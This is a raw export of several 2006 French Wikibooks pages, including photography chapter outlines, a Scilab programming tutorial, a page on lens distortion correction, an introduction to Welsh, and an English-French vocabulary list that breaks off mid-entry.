03 - Acides et bases, pH|Acides et bases, pH]] * [[Photographie - 03 - Vitesse de réaction - Équilibre chimique|Vitesse de réaction - Équilibre chimique]] * [[Photographie - 03 - Hydrolyse|Hydrolyse]] * [[Photographie - 03 - Solutions-tampons - Mesure du pH|Solutions-tampons - Mesure du pH]] * [[Photographie - 03 - Ions complexes|Ions complexes]] * [[Photographie - 03 - Oxydoréduction|Oxydoréduction]] |- |} <br> Étude de définition 8569 44336 2006-06-11T19:36:17Z 81.192.178.254 Etude définition d'un projet d'architecture et d'urbanisme: Quels sont les points à prendre en compte dans l'étude de définition d'un projet d'urbanisme ou d'rchitecture? L'étude définit globalement le projet et précise le budget nécessaire. Elle aboutit à une esquisse, une note descriptive des travaux et une estimation budgétaire. Cette étude préliminaire a pour objet de proposer une solution d'ensemble, traduisant les éléments majeurs du programme, et de vérifier l'adéquation du budget à ce programme. Modèle:Photo 04 8570 44338 2006-06-11T21:30:09Z Jean-Jacques MILAN 114 {| cellpadding="3" cellspacing="3" align="center" style="border: 1px solid #6f8f9f; background-color: #FFFFE3" |- |<center>'''Plan du chapitre 04 - Rayonnements et lumière'''</center> * [[Photographie - 04 - Rayonnements électromagnétiques|Rayonnements électromagnétiques]] * [[Photographie - 04 - Histoire des théories de la lumière|Histoire des théories de la lumière]] * [[Photographie - 04 - La lumière|La lumière]] * [[Photographie - 04 - Interactions de la matière et des rayonnements|Interactions de la matière et des rayonnements]] * [[Photographie - 04 - Transmission, absorption et réflexion de la lumière|Transmission, absorption et réflexion de la lumière]] * [[Photographie - 04 - Rayons X et rayons &gamma;|Rayons X et rayons &gamma;]] * [[Photographie - 04 - Rayonnement lumineux thermique|Rayonnement lumineux thermique]] * [[Photographie - 04 - Luminescence|Luminescence]] * [[Photographie - 04 - Lasers|Lasers]] |- |} <br> Modèle:Photo 05 8571 44349 2006-06-11T22:14:30Z Jean-Jacques MILAN 114 {| cellpadding="3" cellspacing="3" align="center" style="border: 1px solid #6f8f9f; background-color: #FFFFE3" |- |<center>'''Plan du chapitre 05 - Photométrie'''</center> * [[Photographie - 05 - Les bases de la photométrie|Les bases de la photométrie]] * [[Photographie - 05 - Notion d'angle solide|Notion d'angle solide]] * [[Photographie - 05 - Grandeurs lumineuses et unités photométriques|Grandeurs lumineuses et unités photométriques]] * [[Photographie - 05 - Calculs photométriques usuels|Calculs photométriques usuels]] * [[Photographie - 05 - Sources orthotropes|Sources orthotropes]] * [[Photographie - 05 - Indicatrices de luminance et d'intensité lumineuse|Indicatrices de luminance et d'intensité lumineuse]] * [[Photographie - 05 - Notion d'étendue géométrique|Notion d'étendue géométrique]] * [[Photographie - 05 - Étalons photométriques|Étalons photométriques]] * [[Photographie - 05 - Photomètres|Photomètres]] * [[Photographie - 05 - Notions sur la vision des couleurs|Notions sur la vision des couleurs]] * [[Photographie - 05 - Efficacité lumineuse|Efficacité lumineuse]] * [[Photographie - 05 - Les sources lumineuses|Les sources lumineuses]] |- |} <br> Découvrir Scilab Programmation 8572 46362 2006-06-28T14:18:16Z Cdang 1202 /* Notes */ modif lien {{Scilab}} <br /> <big><big><big>5. Programmation</big></big></big> ---- Scilab est un langage de programmation, il accepte un certain nombre d’instructions autres que mathématiques, permettant l'exécution d'algorithmes. L'écriture de programmes se fait idéalement avec <font id="scipad2">SciPad</font> ; celui-ci met en exergue les instructions en couleurs, les parenthésages (correspondance entre les paires de parenthèses et de crochets), et surligne les erreurs de syntaxe avec un fond jaune. On peut aussi utiliser un autre éditeur de texte en sauvegardant le fichier avec l'extension <font id="sce2">.SCE</font>. Lorsque l'environnement le permet, on peut faire du copier-coller depuis l'éditeur de texte externe vers SciPad ou bien l'éditeur de ligne de commande. == Structures de contrôle (boucles et branchements conditionnés) == Scilab possède des structures de contrôle : * <font id="branchement_conditionne1">branchement conditionné</font> <code><font id="if1">if</font> ''condition'' <font id="then1">then</font>, …, <font id="else1">else</font>, …, <font id="end1">end</font></code> * <font id="boucle_iterative1">boucle itérative</font> <code>for ''variable'' = ''début''&nbsp;: ''fin'', …, end</code> ou <code>for ''variable'' = ''début''&nbsp;: ''pas''&nbsp;: ''fin'', …, end</code> * boucle itérative antéconditionnée&nbsp;: <code><font id="while1">while</font> ''condition'' <font id="do1">do</font>, …, end</code> ou <code>while ''condition'' do, …, else, …, end</code> == Fonctions extérieures == Il est possible de définir des fonctions avec passage de paramètres. Nous avons déjà vu l'utilisation des instructions <code><font id="function5">deff</font></code> et <code><font id="function5">function</font></code> pour définir une formule (voir ''[[Découvrir Scilab Calcul numérique#deff2|Calcul numérique]]''). Mais la fonction peut aussi être utilisée comme un sous-programme avec ses variables propres, et qui peut contenir des boucles, des branchements conditionnés… Par exemple, la fonction suiviante calcule la puissance n-ième (''n'' entier positif) -->function [y] = puissance(x,n) -->y = 1 -->if n > 0 then -->for i = 1:n -->y = y*x -->end -->end -->endfunction -->puissance(2,3) ans = 8. On remarque qu'entre <code>function</code> et <code>endfunction</code>, l'éditeur en ligne ne saute pas de ligne après le retour chariot. On peut également utiliser la fonction interne <code>deff</code>, le programme est alors entre les guillemets ou apostrophes, et les instrucitons sont séparées par des <font id="virgule3">virgules</font> ou des <font id="point_virgule3">points-virgules</font> : deff('[y] = puissance(x,n)', 'y = 1, if n > 0 then,... for i = 1:n, y = y*x, end, end') Le résultat d'un calcul à l'intérieur d'une fonction n'est jamais affiché (que ce soit avec <code>deff</code> ou <code>function</code>), l'utilisation de virgules ou de points-virgules est donc indifférente. === Chargement d'une fonction === Une fonction peut définie dans un fichier texte, puis intégrée dans Scilab avec l'instruction <code><font id="exec1">exec(<nowiki>'</nowiki>''nom_de_fichier''<nowiki>'</nowiki>)</font></code>, où ''nom_de_fichier'' est le nom du fichier texte contenant la fonction (il faut indiquer l'extension du nom du fichier). Par exemple, le programme enregistré dans le fichier ma_fonction.TXT peut être lancé par exec('ma_fonction.txt') La première ligne du fichier doit contenir l'instruction <code>function</code>. === Mise en forme du code === Lorsque la fonction est tapée dans un éditeur de texte, il est conseillé d'utiliser, pour faciliter la lecture, des commentaires ainsi que des décalages de colonnes (indentations) pour marquer les imbrications de structures de contrôle ; ce sont des « bonnes pratiques de programmation » générales. Les <font id="commentaire1">commentaires</font> sont introduits par deux barres de fraction <code>//</code>. Par exemple, la fonction décrite ci-dessus aurait la forme function [y] = puissance(x,n) // calcule la puisance n-ieme y = 1 // valeur de y^0, et valeur initiale si n>0 if n > 0 then for i = 1:n y = y*x // on multiplie n fois x par lui-meme end end endfunction == Lancement d'un programme == Un programme (fichier .SCE) peut être lancé depuis SciPad, en cliquant sur le menu '''Execute''' puis en choisissant '''Load into Scilab'''. On peut aussi utiliser la combinaison de touches <code>CTRL+I</code>. == Voir aussi == ; Dans Wikipédia * [[w:Algorithmique|Algorithmique]] * [[w:Structure de contrôle|Structure de contrôle]] == Notes == <references /> ---- ''[[Découvrir Scilab Graphiques et sons|Graphiques et sons]]'' &lt; [[Découvrir Scilab|↑]] &gt; ''[[Découvrir Scilab Environnement|Environnement]]'' Modèle:Photo 06 8573 44423 2006-06-12T14:14:11Z Jean-Jacques MILAN 114 {| cellpadding="3" cellspacing="3" align="center" style="border: 1px solid #6f8f9f; background-color: #FFFFE3" |- |<center>'''Plan du chapitre 06 - Propagation de la lumière'''</center> * [[Photographie - 06 - Le principe de Fermat|Le principe de Fermat]] * [[Photographie - 06 - Les principes de l'optique géométrique|Les principes de l'optique géométrique]] * [[Photographie - 06 - La vitesse de la lumière|La vitesse de la lumière]] * [[Photographie - 06 - Réflexion de la lumière|Réflexion de la lumière]] |- |} <br> Modèle:Photo 07 8574 44430 2006-06-12T14:20:12Z Jean-Jacques MILAN 114 {| cellpadding="3" cellspacing="3" align="center" style="border: 1px solid #6f8f9f; background-color: #FFFFE3" |- |<center>'''Plan du chapitre 07 - Systèmes optiques simples, lentilles'''</center> * [[Photographie - 07 - Généralités|Généralités]] * [[Photographie - 07 - Stigmatisme, objets et images|Stigmatisme, objets et images]] * [[Photographie - 07 - Dioptre plan|Dioptre plan]] * [[Photographie - 07 - Lame à faces parallèles|Lame à faces parallèles]] * [[Photographie - 07 - Prisme|Prisme]] * [[Photographie - 07 - Lentilles|Lentilles]] * [[Photographie - 07 - Lentille mince convergente|Lentille mince convergente]] * [[Photographie - 07 - Lentille mince divergente|Lentille mince divergente]] * [[Photographie - 07 - Lentilles minces accolées|Lentilles minces accolées]] * [[Photographie - 07 - Miroirs concaves et convexes|Miroirs concaves et convexes]] |- |} <br> Modèle:Photo 08 8575 44437 2006-06-12T14:26:25Z Jean-Jacques MILAN 114 {| cellpadding="3" cellspacing="3" align="center" style="border: 1px solid #6f8f9f; background-color: #FFFFE3" |- |<center>'''Plan du chapitre 08 - Systèmes centrés, objectifs'''</center> * [[Photographie - 08 - Systèmes centrés|Systèmes centrés]] * [[Photographie - 08 - Aberrations|Aberrations]] * [[Photographie - 08 - Éclairement de l'image donnée par un objectif|Éclairement de l'image donnée par un objectif]] * [[Photographie - 08 - Ouverture d'un objectif|Ouverture d'un objectif]] * [[Photographie - 08 - Champ, couverture, vignetage|Champ, couverture, vignetage]] * [[Photographie - 08 - Objectifs dits « normaux »|Objectifs dits « normaux »]] * [[Photographie - 08 - Objectifs grand-angulaires|Objectifs grand-angulaires]] * [[Photographie - 08 - Objectifs de longue focale|Objectifs de longue focale]] * [[Photographie - 08 - Systèmes afocaux|Systèmes afocaux]] * [[Photographie - 08 - Objectifs à focale variable|Objectifs à focale variable]] * [[Photographie - 08 - Objectifs pour la macrophotographie|Objectifs pour la macrophotographie]] * [[Photographie - 08 - Objectifs pour usages spéciaux|Objectifs pour usages spéciaux]] * [[Photographie - 08 - Calcul des objectifs|Calcul des objectifs]] |- |} <br> Historique des réseaux 8576 44484 2006-06-13T15:46:17Z Carnops 1287 [[Historique des réseaux]] déplacé vers [[Historique des réseaux informatiques]]: Titre incomplet et pouvant prêter à confusion #REDIRECT [[Historique des réseaux informatiques]] Photographie - 08 - Aberrations 8579 45368 2006-06-22T08:28:55Z Jean-Jacques MILAN 114 /* Définition */ {{Photographie}} {{Photo_08}} {{ébauche}} == Distorsion == === Définition === Avec un objectif idéal, toutes les lignes droites du sujet ont pour images des lignes droites. En pratique il en va rarement ainsi et les images produites par la quasi totalité des objectifs réels sont affectées par la distorsion. Les lignes droites purement radiales, celles qui passent par le centre de l'image, restent droites, tandis que les autres sont d'autant plus courbées qu'elles passent plus loin du centre. {| |- |[[Image:Lens distorsion.png|thumb|250px|Nature de la distorsion selon la position du diaphragme.]] |[[Image:Fisheye photo.jpg|thumb|227px|Distorsion caricaturale d'un objectif « fish-eye »]] |[[Image:Façade Les Horizons.JPG|thumb|170px|Simple effet de perspective dû à la contre-plongée]] |- |} Il ne faut pas confondre la distorsion avec les déformations en trapèze qui sont dues à des effets de perspective, en particulier lorsque l'on utilise des objectifs grand-angulaires dont l'axe optique a été incliné. La forme de l'image d'un carré quadrillé permet de distinguer les diverses sortes de distorsion. Dans les cas les plus simples, la distorsion est dite « en coussinet », les côtés de l'image sont alors concaves, ou « en barillet » ou encore « en tonnelet » si au contraire les côtés de l'image sont convexes. Dans certaines situations, la distorsion peut être plus complexe et les côtés de l'image du carré peuvent être ondulés, concaves au milieu et convexes sur les bords ou inversement. La distorsion est dite positive si elle est en barillet et négative si elle est en coussinet. === Paramètres === La nature et l'intensité de la distorsion dépendent de beaucoup de facteurs, dont le principal est la position du diaphragme par rapport aux lentilles. Lorsque l'absence de distorsion est une qualité primordiale, par exemple pour la reproduction photographique de documents, il faut faire appel à des objectifs spéciaux dits « orthoscopiques » dont les lentilles sont symétriques ou quasi symétriques par rapport à un centre optique où se trouve placé le diaphragme. Avec la plupart des objectifs dits « standards » on ne s'éloigne pas trop d'une certaine symétrie mais il n'en va pas de même avec la plupart des grand-angulaires, des téléobjectifs, des objectifs « macro » à mise au point interne et, bien sûr, des objectifs à focale variable dont la distorsion évolue et généralement s'inverse lorsque l'on parcourt la plage des distances focales. En fait, pour chaque objectif, la distorsion varie d'une manière spécifique en fonction de la focale et de la distance de mise au point. === Correction === Au laboratoire, il est pratiquement impossible de corriger de façon simple une image entachée de distorsion et, avant l'avénement de la photographie numérique, des applications comme le montage de plusieurs photos pour réaliser un panoramique étaient très délicates. Aujourd'hui les choses ont évolué et il faut les voir autrement. Plusieurs situations peuvent se présenter selon que le fichier possède ou non des métadonnées EXIF et, bien sûr, selon le ou les logiciels dont on dispose pour le traitement de l'image. * On peut utiliser à la fois des modèles informatiques créés à partir de mesures faites sur un grand nombre d'objectifs du commerce et les données de focale et de distance de mise au point enregistrées dans l'EXIF ; il est alors facile d'en déduire la correction à apporter. Attention, les résultats seront farfelus si l'on applique cette méthode à une photo recadrée dont les données EXIF ont été conservées en l'état : il faut donc toujours opérer sur le fichier d'origine. ''DxO Optics Pro'' est mi-2006 le seul logiciel capable de corriger la distorsion de façon optimale, y compris dans les cas les plus complexes. Cependant, il ne fonctionne que si l'objectif utilisé à la prise de vue a été modélisé par la société DO Labs et il est totalement inopérant pour les fichiers dépourvus des données EXIF de focale et de distance comme ceux que l'on obtient par exemple après avoir scanné une diapositive. * Une modélisation simplifiée de la distorsion est transcrite sous forme de tables téléchargeables plus ou moins librement et qui permettent de programmer les corrections à effectuer, compte tenu des données EXIF. Le logiciel ''PT Lens'' fonctionne sur ce principe mais contrairement à DxO Optics Pro il peut aussi fonctionner « manuellement ». * Un programme simplifié capable d'engendrer de façon continue une distorsion positive ou négative est utilisable pour des corrections « à vue », ce qui permet d'opérer sur des fichiers totalement dépourvus d'EXIF. ''PT Lens'' et ''Paint Shop Pro'' possèdent cette fonction mais naturellement, les distorsions complexes ne peuvent pas être totalement corrigées de cette façon ... * Enfin, on peut encore signaler la méthode plus rustique qui consiste à utiliser le rattrapage de perspective en trapèze pour corriger grossièrement la distorsion, ce qui est looin d'être idéal et rapide. C'est la seule possibilité avec ''The Gimp'' et ''Photoshop''. == Logiciels spécifiques pour la correction des aberrations == * '''DxO Optics Pro''' : correction entièrement automatique des défaut optiques (distorsion, vignetage, aberration chromatique) ainsi que du bruit et de l'exposition : http://www.dolabs.com/fr/photo/home/default.php * '''PT Lens''' pour PC : correction des défaut optiques (distorsion, vignetage, aberration chromatique), utilisable de façon autonome ou comme « plug-in » de Photoshop : http://www.epaperpress.com/ptlens/ * '''LensFix''' pour Mac fait la même chose : http://www.kekus.com/software/plugin.html * '''Debarrelizer''' est un « plug-in » pour Photoshop qui assure la correction de la distorsion et de l'aberration chromatique : http://www.theimagingfactory.com/ * '''Radcor''' corrige la distorsion : http://www.uni-koeln.de/~al001/airdown.html Analyse:Intégration 8580 44509 2006-06-14T07:20:08Z Arcturusm51 1640 = Introduction = Si il existe des domaines très importants en analyse, l'intégration en fait partie sans aucun doute. L'utilisation des intégrales se retrouvent partout : biologie, physique, statistiques, résistance des matériaux... De façon intuitive, l'intégrale d'une fonction sur un intervalle [a;b] désigne l'aire de la surface délimitée par la courbe de représentation de la fonction, l'axe des abscisses et les deux tangentes verticales d'équations x1 = a et x2 = b. Cette notion est très complexe à déterminer de manière mathémtiques et ne peut se faire qu'en plusieurs étapes : * Les fonction dites en "Escalier" * Utilisation des fonctions en escaliers dans le calcul intégrale * Intégration - Généralités - Analyse:Généralités Et Formules 8581 44511 2006-06-14T07:29:48Z Arcturusm51 1640 = Introduction = En Analyse, les problèmes complexes peuvent la plupart du temps se ramener à des cas simples comme l'étude de suites, de limites ... De ce fait, il est souvent utiles de bénéficier d'outils qui permettent de << bricoler >> les calculs pour ce ramener à ces cas simples. Enseignement du Gallois 8582 44711 2006-06-16T19:33:44Z Nicombo 684 ébauche {{ébauche}} Le gallois est une langue appartenant au groupe celtique insulaire (groupe brittonique) de la famille des langues indo-européennes. Son nom local est cymraeg. Le gallois est la langue celtique comptant le plus grand nombre de locuteurs. Il est très proche du cornique et du breton, qui appartiennent tous à la même branche dite « brittonique ». Il est parlé au Pays de Galles (Grande-Bretagne), par environ 600 000 personnes (soit plus de 20% de la population). Dans certaines régions, plus de 60% de la population parle le gallois. Cependant, la plupart des gallois parlent aussi anglais. Il existe également une petite communauté gallophone en Patagonie (Argentine). En Angleterre, le gallois est parlé par environ 133 000 personnes. Depuis le Deddf Iaith Gymraeg (loi sur la langue galloise) en 1993, la place du gallois s’est accrue dans les institutions : les administrations sont tenues de pouvoir offrir leurs services dans les deux langues. La signalétique bilingue est normalisée au Pays de Galles, et le gallois est reconnu en tant que langue régionale selon la Charte européenne des langues régionales ou minoritaires. == Alphabet et prononciation == {| class="wikitable" ! Lettre ! Nom ! Phonétique ! Comme dans |- | a | ''â'' | /a, ɑː/ | ch'''a'''t |- | b | ''bî'' | /b/ | '''b'''allon |- | c | ''èc'' | /k/ | '''c'''arton |- | ch | ''ech'' | /x/ | a'''ch'''tung (allemand) |- | d | ''dî'' | /d/ | '''d'''indon |- | dd | ''èdd'' | /ð/ | ba'''th'''room (anglais) |- | e | ''ê'' | /ɛ, eː/ | t'''ê'''te |- | f | ''èf'' | /v/ | '''v'''olubile |- | ff | ''èff'' | /f/ | '''f'''util |- | g | ''èg'' | /g/ | '''g'''alerie |- | ng | ''èng'' | /ŋ/ | parkin'''ng''' |- | h | ''âets'' | /h/ | '''h'''ave (anglais) |- | i | ''î'' | /ɪ, iː/ | p'''i'''peau |- | j | ? | ? | '''j'''oyeux |- | l | ''èl'' | /l/ | '''l'''ointain |- | ll | ''ell'' | /ɬ/ | rien de commun |- | m | ''èm'' | /m/ | '''m'''yriades |- | n | ''en'' | /n/ | '''n'''éant |- | o | ''ô'' | /ɔ, oː/ | '''o'''rgueil |- | p | ''pî'' | /p/ | '''p'''arlement |- | ph | ''ffî'' | /f/ | '''f'''icelle |- | r | ''èr'' | /r/ | roulé, go'''rr'''ille |- | rh | ''rhî'', ''rhô'' | /r̥/ | ? |- | s | ''ès'' | /s/ | '''s'''uperbe |- | t | ''tî'' | /t/ | '''t'''ergiverser |- | th | ''èth'' | /θ/ | ba'''th'''room |- | u | ''û'' | /ɨ̞, ɨː/ (N), /ɪ, iː/ (S) | '''u'''niformiser (N), '''i'''déaliser (S) |- | w | ''ŵ'' | /ʊ, uː/ | entre '''a''' et '''o''' |- | y | ŷ |colspan="2"| dépends de la place dans le mot |} * il n'y a pas de k, q, v, x et z en gallois. * il faut ajouter à l'alphabet français le ch, dd, ff, ng,ll, ph, rh et th. * a, b, d, i, j, l, m, n, p et t se prononcent comme en français. * ''''ch'''' n'a pas d'équivalent en français. Racler la gorge, comme pour le ''''ch'''' allemand. * ''''dd'''' et ''''th'''' n'existent pas en français non plus. Les prononcer comme le ''''th'''' anglais, entre le ''''t'''' et le ''''s'''', avec la langue entre les dents. * le ''''f'''' est un ''''v'''' français : '''v'''élo * ''''ff'''' et ''''ph'''' sont des ''''f'''' français : '''f'''acile * ''''ng''' est un '''n''' vélaire. Parki'''ng''' ou parpai'''ng''' prononcé comme dans le sud de la France. * le ''''h'''' est toujours aspiré, jamais silencieux. On doit entendre l'air sortir. * le ''''ll'''' n'existe pas en français. Placer la langue contre le palais, comme pour un ''''l'''', et faire sortir de l'air. Sonne un peu comme le ''''cl''' de '''cl'''an. * le ''''r'''' est roulé, comme un ''''r'''' espagnol. * pour le ''''rh'''', expirer en roulant un ''''r''''. * ''''u'''' est ''''u'''' dans le nord, et ''''i'''' dans le sud du pays de Galles. * le ''''w'''' est une voyelle, entre le ''''a'''' et le ''''o''''. * le ''''y'''' change de sonorité selon la place dans le mot. Tout seul ou en début de mot : '''eu'''réka ; en milieu de mot, '''est''' ; et en fin de mot, ''''i'''' long. == Phrases usuelles == {| class="wikitable" width="400" !Français||Gallois |- |Bonjour (le matin)||Bore da |- |Bonjour (l'après-midi)||Prynhawn da |- |Bonsoir||Noswaith dda |- |Bienvenue (utilisé pour bonjour)||Croeso |- |Comment allez vous ?||Sut dych chi? |- |Merci||Diolch |- |S'il vous plait||Os gwelwch yn dda |- |Au revoir||Hwyl fawr |- |A bientôt||Wela i chi |- |Oui||Ie |- |Non||Na |- |Bon||Da |- |Mauvais||Drwg |- |Je suis désolé||Mae'n ddrwg gen i |- |Pardon||Esgusodwch fi |- |Santé !||Iechyd da! |- |Je ne comprends pas||Dw i ddim yn deall |- |Je ne sais pas||Dw i ddim yn gwybod |- |Parlez vous ... ?||Ydych chi'n siarad ...? |- |Français||Ffrangeg |- |Gallois||Gymraeg |- |Anglais||Saesneg |} == Compter jusqu'à 10 == {| border=0 |1||Un |- |2||Dau |- |3||Tri |- |4||Pedwar |- |5||Pump |- |6||Chwech |- |7||Saith |- |8||Wyth |- |9||Naw |- |10||Deg |} == Jours de la semaine == {| border=0 width="200" |Lundi||Dydd Llun |- |Mardi||Dydd Mawrth |- |Mercredi||Dydd Mercher |- |Jeudi||Dydd Iau |- |Vendredi||Dydd Gwener |- |Samedi||Dydd Sadwrn |- |Dimanche||Dydd Sul |} Vocabulaire anglais-français à l'intention des apprenants avancés 8583 45300 2006-06-21T08:31:29Z Niladmirari 1645 *Roundabout = rond-point, détourné *Death throes = l’agonie de la mort *Abode = demeure (litt.), domicile (jur.) *Abduct = enlever *Abide = rester fidèle, I can’t abide him = le supporter *Abut = adjacent *Abreast = côte à côte *Abroad = à l’étranger *Acrid = âcre *Adamant = inflexible *Acumen = perspicacité *Adept = expert *Adder = vipère *Ad-lib = improvisé *Adorn = orner *Advent = arrivée, avènement *Aeon = éternité *There’s something afoot = Il se trame qqch *Aggrieved = blessé, frossé *Aghast = consterné, horrifié *Ailing = souffrant *Airborne = en (cours de) vol *Airy = élevé, aérien *Aisle = allée *Ajar = entrouvert *Alacrity = empressement *Albeit = quoique (lit) *Allay = calmer, apaiser *Allegedly = d’après ce qu’on dit *Alloy = alliage *Alms = aumôme *Aloft = en haut (lit) *Along with = avec *I’ll come along shortly = Je viendrai tout à l’heure *Aloof = distant *Altogether = tout à fait *Amble = marcher d’un pas tranquille *Amiss = mal (à propos), something is amiss = quelque chose ne va pas *To run amok = se déchaîner, devenir fou furieux *Anent = à propos de *Apace = rapidement *Aperture = ouverture *Apex = sommet *To be appalled at = être horrifié de *Apparatus = appareil *Appeal = attrait *Appealing (regard) = suppliant *Appoint (person) = nommer *Appraise = évaluer *Arch one’s back = courber, arquer *Armadillo = tatou *Arrayed in = Lit (re)vêtu de *Asbestos = amiante *Ash tree = frêne *Ashen (face) = pâle *Askew = de biais, de travers *Asp = aspic *Assert that = affirmer que *Assessment = évaluation *Assets = biens *Astern (in ship) = à l’arrière *To go astray = s’égarer *Attain = atteindre *Attend = assister (à une réunion), suivre (un cours), s’occuper de *Attendance = assistance *Attic = grenier *Attire = Lit. vêtements *Athwart = in opposition to *Avert = éviter *Awning = auvent *To go awry = mal tourner (of plan etc) *Ay(e) = oui *Backbone = colonne vertébrale *Backer = partisan *Backing = (aid) soutien (matierial) support *Badger = blaireau *Baffle = déconcerter *Bait = appât, amorce (annoy), asticoter *Green baize = tapis vert (on card table etc) *Baleful = Lit sinistre, funeste *Balk at = regimber contre *Bandy-legged = bancal *Bane = fléau *Banister(s) = rampe d’escalier *Bantering (tone, air) plaisantin *Barnacle = (crustacé) bernache, anatife *Barley = orge *Barter for = troquer, échanger contre *Bashful = timide *Bask = se chauffer *Beadle = bedeau *Bat = (bat) frapper *With bated breath = en retenant son souffle *Take a battering = souffrir beaucoup *Battlements = créneaux ou remparts *Bawdy = paillard *To bawl (out) = beugler, brailler, to bawl s.o. out = engueuler qqn *Bay (of dog) = aboiement *Beacon = (lighthouse) phare *Beguile = séduire *Beaker = gobelet *Beating = (blows, defeat) = raclée *At s.o.’s beck and call = aux ordres de qqn *To beckon to s.o. = faire signe à qqn (to do, de faire) *Bedeck = orner (with, de) *Bedraggled = (clothes, person) débraillé (et tout trempé) *Beech = (tree, wood) = hêtre *Befall = arriver à *Befuddled = (drunk) ivre *On behalf of = au nom de *Behead = décapiter *Belated = tardif *Belated = tardif *Beleaguered = (besieged) assiégé *Bestir = se remuer *Benevolent = bienveillant *Bequeath = léguer (to, à) *Bereft = dénué (of, de) *Beseech = Lit. implorer *Beset with obstacles = semé, hérissé d’obstacles *Bestow = conférer, accorder *Beseem = convenir *Bethink = remind *Bewilder = dérouter *Bewitch = enchanter *Bicker = chamailler, chamailleries *Bid = commander *Bide one’s time = attendre le bon moment, chercher à gagner du temps *Billow = volute *Birch = bouleau *Blackguard = Old-fashioned gueux *Blackmailer = maître chanteur *Bladder = vessie *Bland = (insipide) fade, insipide *Blankly = sans comprendre ou inexpressif *Blare = beuglement *Blast = souffle *Blatant = (obvious) criant *Bleach = décolorer *Bleak = sombre *Bleary = (eyes) troubles, voilés *Bleat = bêler *Urban blight = (area) quartier délabré *Bliss = félicité *Blithe = joyeux *Bloated = (full after eating) gonflé *Blockhead = fam. Imbécile *Bloodshed = effusion de sang *Bloom = (tree, flower) fleurir *To blot out = (obliterate) effacer *Bluff = (côte) accore *Bob = petite révérence *Bluebottle = mouche à viande *Blueprint = plan (de travail) *Blunder (mistake) = gaffe *Blunder = (person, speech) franc *Blurt = (excuse) bredouiller *Bluster = (of personne) tempêter *(Wild) boar = sanglier *To bob up and down = danser sur l’eau *To bode well/ill = être de bon/mauvais augure *To get bogged down = (in mud, in one’s work etc) s’enliser *Boisterous = (noisy) tapageur *Brace = bretelles *To bracket together = mettre entre crochets *Bracket = (for shelf etc) équerre *Braid = tresse *Brain (hit) = assommer *Bramble = ronce *Brand = (mark) marquer (stigmatize) flétrir *Brand name = marque de commerce *Brazen = effronté *Breach = infraction *Briar = églantier *Breakdown = pænne *Breakwater = brise-lames *Brew = brasser *Bribe = pot-de-vin *Bridge = (of nose) arête *Bridle = (for horses) bride *Brim = (of hat, cup) rebord *Brine (for preserving food) = saumure *On the brink of sth = au bord de qqch *Bristle = poil, se hérisser *Brittle = fragile, cassant *Brogue = accent irlandais *Broil = griller *Brood = méditer tristement *Broth = bouillon *Brothel = maison close, bordel *To bear the brunt of = (attack, anger etc) subir ou essuyer le plus gros de *Buck = (animal) mâle *Buff = chamois *Buffet (of waves) = battre, (of wind, rain) cingler *Bulrush = quenouille *To bulge out = se renfler *Bullion = argent en lingots *Bully = brute (ill-treat) brutaliser *Bulwark = rempart *Bundle = paquet *To bung up with (stop up) = boucher *Bungle = gâcher *Bunk = (in ship, train) couchette *Buskin = cothurne *Burnoose = burnous *Bunting = guirlande de drapeaux *Burlap = toile à sac *Burly = costaud *Bustle = s’affairer *Butler = maître d’hôtel *Butt = (with one’s head) = donner un coup de tête *Buttress = (fig) soutien *Cadge = (beg) quémander *Cake with blood/mud = recouvert de sang/boue séchée *Calf = mollet *Capstan = cabestan *Callous = (cruel) cruel, insensible *Canny = rusé, maligne *Canopy = (over bed, altar…) dais *Cant = jargon *Canteen = gourde *Canter = petit galop, aller au petit trop *Canvas = toile *Cap = surpasser *Caper = gambader *Carle = rude *Carrion = charognard *Carouse = faire la fête *Carriage = (horse-drawn) voiture *Cart = charrette ou voiture à bras *Cassock = soutane *Cast = (metal) couler *Catch = (trick, snare) piège *Catgut = boyau *Cattle = bestiaux *Cavort = fam cabrioler *Censer = encensoir *Cellar = cave *Chafe = lit frotter *Chaff = taquiner *Champing = mâchonnement *Chap = fam type *Chariot = (Roman etc) char *Charred = (burnt until black) carbonisé *Chasten = lit (punish) châtier *Childe = fils de famille noble *Chestnut hair = cheveux châtains *Chide = gronder *Chilblain = engelure *Chink = fente *Chime = interrompre ou carillion, sonnerie *Chip = ébrécher *Chirp = pépier, pépiement *Chives = ciboulette *Choppy = (sea, river) agité *Chortle = gloussement, glousser *Chowder = soupe aux poissons? *Churlish = grossier *Clack = jaser *Claim = revendiquer *Clamber (up) = grimper *Clamp = serrer *Clanger = gaffe, to drop a clanger = faire une gaffe *To talk craptrap = raconter des boniments *Cleave = fendre *Cleaver = couperet *Clash = s’entrechoquer *Clatter = bruit, fracas *Sollicitor’s clerk = clerc de notaire *Climax = point culminant *Clobber = sl tabasser *Clod (of earth) = motte *Clog = sabot *Clump = groupe *Clout = piece of leather to patch *Clot = (of blood) caillot, coaguler *Clou de girofle, clove of garlic = gousse d’ail *Cloying = (smell, sentiments) écoeurant *Clump = (of flower, trees) massif *Cluster = groupe *Clutter = (objects) fouillis, désordre *The coast is clear = la voie est libre *Coax = amadouer, cajoler *Cockney = cockney (des quartiers Est de Londres) *Cod = morue *Cog = tooth of wheel, fig = rouage *Coil = s’enrouler *Coin = fig inventer *Colt = poulain *Commend (praise) = louer *To commission to do = charger qn de faire *Commissionner = pol commissionnaire *Commit = (devote) consacrer (des énergies, des efforts etc) *Compel (to) = contraindre (à) *Compelling = irrésistible *Complacent = content de soi *Comply = obéir *Compound = (susbtance, word, interest) composé, (sentence, number) complexe (make worst) aggraver *Comprise = inclure *Compulsory = obligatoire *Conceit = vanité *Concrete = béton *Concussion = commotion (cérébrale) *Congenial = sympathique *Condone = fermer les yeux sur ou excuser *Consort with = (addicts, criminals) fréquenter *Conspicious (noticeable) = visible, en évidence (striking) = remarquanble *Construe = interpréter, comprendre *Contempt = mépris *Contend = (compete with) rivaliser *Content = satisfait (with, de) *Contention = désaccord *Cooper = tonnelier *Contort = tordre, to contort oneself = se contorsionner *Contraption = fam engin *Convene (meet) = réunir *Convey = (goods, people) transporter (evoke) évoquer *Coo (of dove) = roucouler *Cope with = faire face à *Corny (joke etc) = rebattu *Corral = enclos (bœufs, chevaux) en Am du Sud *Corrugated cardboard = carton ondulé *Coverlet = couvre-lit *Counterpane = courtepointe *Countryside = campagne *Couple (mate) = s’accoupler *Coutier = (hist) courtisan *Cove = (bay) anse *Covenant = (legal) convention (religious) alliance *Covert = secret *Covet = convoiter *Crattle = chains to restrain *Cramp someone’s style = priver de ses moyens *To be cowed = être intimidé (by, par) *Crabby = 